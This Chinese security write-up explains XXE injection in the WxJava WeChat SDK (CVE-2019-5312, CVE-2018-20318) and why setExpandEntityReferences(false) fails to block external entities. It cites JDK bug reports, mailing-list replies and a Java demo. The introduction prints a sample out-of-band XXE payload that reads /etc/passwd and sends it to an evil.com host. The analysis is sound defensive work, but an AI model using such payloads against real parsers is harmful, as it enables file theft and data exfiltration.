声明：本文由 图南@360 A-Team 原创，仅用于研究交流，不恰当使用会造成危害，严禁违法使用，否则后果自负。
事情缘起
前些日，开源社区流行的微信Java SDK爆出XXE注入漏洞，漏洞编号为：CVE-2019-5312。在我分析漏洞时发现这个漏洞源自于一个未修好的漏洞：CVE-2018-20318。在做这两个漏洞的补丁commit diff的时候发现CVE-2018-20318的修复方案是在创建DocumentBuilderFactory实例后对其做了factory.setExpandEntityReferences(false)的设置。CVE-2019-5312中又在下面增加了factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)的设置。也就是说CVE-2018-20318的修复没有起任何作用。这引起了我的好奇，深挖了一下，发现这个事情一波三折，还比较有趣，于是想整理下，分享给大家。
啥是XXE注入
既然是有关XXE注入的漏洞，那么想读懂这篇文章就需要对XXE注入漏洞有所了解。在这里我推荐阅读@gyyyy大佬的文章：《XXE注入漏洞概述》，文章中非常详细的介绍了XXE注入的基础知识、漏洞原理、挖掘思路、利用方式等等。我在本文中简单带过一下原理。
XML外部实体注入 （XML External Entity Injection） 是一种针对解析XML文档的应用程序的注入类型攻击。当恶意用户在提交一个精心构造的包含外部实体引用的XML文档给未正确配置的XML解析器处理时，该攻击就会发生。XXE注入可能造成敏感信息泄露、拒绝服务、SSRF、命令执行等危害。
XML实体又分为内部实体和外部实体，声明方式如下：
<!ENTITY name "value"><!ENTITY name SYSTEM "URI"> <!ENTITY name PUBLIC "PUBLIC_ID" "URI">
外部实体声明中，分为SYSTEM和PUBLIC，前者表示私有资源 （但不一定是本机） ，后者表示公共资源。实体声明之后就可以在文本中进行引用了：
<foo>&xxe;</foo>XXE注入较为常见的利用方式是基于OOB的任意文件读取 （盲注），利用方式如下：
<?xmlversion="1.0"encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxeSYSTEM "http://evil.com/xxeoobdetector.xml"> %xxe; ]> <foo/>
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % def "<!ENTITY % send SYSTEM 'http://evil.com/?data=%file;'>"> %def; %send;更多内容也可以参考XML_External_Entity_(XXE)_Processing。
XXE注入漏洞简要分析
以WxJava的XXE注入漏洞为例，漏洞发现者在项目Github仓库中提交 Github issue#903，并提供了修复参考。
先在github上进行commit diff对比：
可以看到作者使用的是JDK自带的XML解析器。在创建DocumentBuilderFactory类的实例之后进行了setFeature禁用DTD文档。
仿造issue中的描述初始化WxPayOrderQueryResult类实例，通过其父类的setXmlString()方法设置xmlString，然后调用此类实例的toMap()方法将xml文档转换为Map。在此调用了此类的getXmlDoc()方法。
进入getXmlDoc()方法中发现此处已经对DocumentBuilderFactory实例进行了setExpandEntityReferences()的设置，但经过测试，这里依然可以解析DTD文档和外部实体，触发漏洞。
节外生枝
本来这个漏洞分析到这里就可以结束了，但我看到了这个漏洞的issue关联另一个issue：issue#889，发现其对应漏洞CVE-2018-20318，再次进行commit diff对比：
发现作者在解决CVE-2018-20318之前对DocumentBuilderFactory实例没有进行任何设置，直接解析XML文档。那么问题来了，为什么作者加上factory.setExpandEntityReferences(false)的设置漏洞仍然存在？是factory.setExpandEntityReferences(false)没有生效吗？作为开发出身的我，第一反应是查这段代码的注释和官方文档，开发过程中我们应该永远最相信官方的文档。
直接跟进这个方法定义的位置：
从代码注释翻译过来大概是： 指定此代码生成的解析器将扩展实体引用节点。 默认情况下，此值为true，如果参数为true，解析器将扩展实体引用节点，否则设置为false。官方文档的解释与其一致，不再展示。
那么从这短短的一句话上分析，setExpandEntityReferences()方法参数为true的时候，解析器会扩展外部实体，为false的时候不扩展，好像没毛病。我如果是开发者看到了文档给出的解释也会这样改，那么问题到底在哪里？
寻坑之路
通过搜索发现，和我有同样疑问的人其实不少，首先我看到了两封疑似邮件记录的东西，第一封主题为Disabling XML External Entites，这个人恰好是想解决安全问题禁止外部实体解析，但发现了通过setExpandEntityReferences()并不能阻止XXE注入攻击，于是邮件提问，得到的回复如下：
第二封主题为CVE-2014-0191 libxml2: external parameter entity
loaded when entity substitution is disabled这个人貌似是想写一篇全面的关于XXE注入的论文，但是它遇到了同样的问题，且提到了官方的描述非常的简短。他得到的回复如下：
在这个回复中甚至提到了OWASP的文档中都是需要更新和维护的。OWASP以前的文档不可考察了，现在OWASP中针对XXE注入防护的Java部分是这样的：
这里依然提到了setExpandEntityReferences(false)，并且提到了一篇2014年的论文 （好像和刚才发邮件的不是一个人:-D） 于是我又将论文翻出来，论文中提到的有关内容如下：
我们发现，这两个邮件的回复大意都是说这是设计如此的，setExpandEntityReferences(false)和实体的解析是不冲突的，setExpandEntityReferences()只告诉DocumentBuilder它是否应该在tree中包含EntityReference节点。
随后，我又在JDK的BUG系统中找到了两个BUG的提交记录，分别是 Method setExpandEntityReferences of Object DocumentBuilderFactory has no effects
，DOM parser does not honor DocumentBuilderFactory.setExpandEntityReferences(false)，两个BUG提交后得到了同样的回复：这不是问题！其中在第二个BUG的回复中详细解释了参数设置为true和false对应的意义：
setExpandEntityReferences = true表示展开或“解析”实体引用，即没有EntityReference节点。
setExpandEntityReferences = false，将指示解析器将EntityReference节点保留在DOM树中。
挖到这里，我大致明白了这个方法的作用，此方法作用于XML解析后生成的文档。设置为true则展开实体引用到生成的文档中替换掉&xx的实体引用声明，设置为false则保留实体引用声明的DOM树在生成的文档中。
听起来还是有点绕？下面我通过一个例子来解释上面那句话。
假如有XML文档如下：
<!DOCTYPE foo [
<!ENTITY xxe "test">
]>
<document>
<title>&xxe;</title>
</document>
测试代码：
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.EntityReference;
import org.w3c.dom.NodeList;
import javax.xml.parsers.DocumentBuilderFactory;
import java.io.ByteArrayInputStream;
public class Test {
public static void main(String[] args) {
String xmlStr=
"<!DOCTYPE foo [\n" +
" <!ENTITY xxe \"test\">\n" +
"]>\n" +
"<document> \n" +
" <title>&xxe;</title> \n" +
"</document> ";
Document doc= getXmlDoc(xmlStr);
Element e = (Element) doc.getElementsByTagName("title").item(0);
final NodeList nl = e.getChildNodes();
System.out.println("nl.item(0) instanceof EntityReference):" + (nl.item(0) instanceof EntityReference));
System.out.println("nl.getLength():" + nl.getLength());
}
public static Document getXmlDoc(String xmlString) {
try {
final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Comment the code below to see the effect
factory.setExpandEntityReferences(false);
Document xmlDoc = factory.newDocumentBuilder()
.parse(new ByteArrayInputStream(xmlString.getBytes("UTF-8")));
return xmlDoc;
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
设置setExpandEntityReferences(true)，观察变量nl的结构：
注意此时nl的长度为1，此时文档结构大致如下：
+- document
+- title
| +- #text：test
输出如下：
设置setExpandEntityReferences(false)，观察变量nl的结构：
我们发现，此时的nl的长度为2，nl.item(0)是一个name为xxe的EntityReference节点，它还有个兄弟节点，值为test。此时文档结构大致如下：
+- document
+- title
| +- xxe
| +- #text：test
输出如下：
上面的例子证明了，无论如何设置setExpandEntityReferences()，外部文档都是已经解析完了的。因此无法防护XXE注入。看来我们都误会了官方文档的意图。
不过官方文档描述过于简单，事实也证明了官方文档对setExpandEntityReferences()的解释真的容易产生歧义。因此在开发者修复漏洞的时候还是要参考OWASP给出的参考建议 （我甚至觉得OWASP建议中的setExpandEntityReferences(false)都应该注释标明它不能防止XXE注入），不要太过于自信自己对文档的理解。修改后应及时测试。
官方认坑
就在我觉得这个事情真的到这里就结束了的时候，我发现事情又有了转机。通过在JDK的BUG系统中搜索，我又发现有人在说这个问题：DOM parser does not honor DocumentBuilderFactory.setExpandEntityReferences(false)
，不过神奇的地方来了，这次官网没有用之前的话术草草回复过去，而是接受了这个BUG！！就在两天前（2019年1月29日），@Joe Wang为其创建了名为Change DOM parser to not resolve EntityReference and add Text node with DocumentBuilderFactory.setExpandEntityReferences(false)的任务，并且在任务描述中明确了当ExpandEntityReferences设置为false时，DOM解析器不再读取和解析任何实体引用。对于打算避免解析实体引用的应用程序，这样的设置将会按照预期工作。
经过这么多人对此方法的质疑，官方终于承认了这个很容易让人引起歧义且易导致安全问题的坑，并且决定修复它。或许在新版本的JDK中我们真的可以安心的通过setExpandEntityReferences(false)来解决XXE注入的问题了。不过现在这个任务的状态还是NEW，我会继续跟进它。
参考
[1] XXE注入漏洞概述
[2] WxJava issue#903
[3] WxJava issue#889
[4] Class DocumentBuilderFactory 官方文档
[5] Disabling XML External Entites
[6] CVE-2014-0191 libxml2: external parameter entity loaded when entity substitution is disabled
[7] Method setExpandEntityReferences of Object DocumentBuilderFactory has no effects
[8] DOM parser does not honor DocumentBuilderFactory.setExpandEntityReferences(false)
[9] DOM parser does not honor DocumentBuilderFactory.setExpandEntityReferences(false)
[10] Change DOM parser to not resolve EntityReference and add Text node with DocumentBuilderFactory.setExpandEntityReferences(false)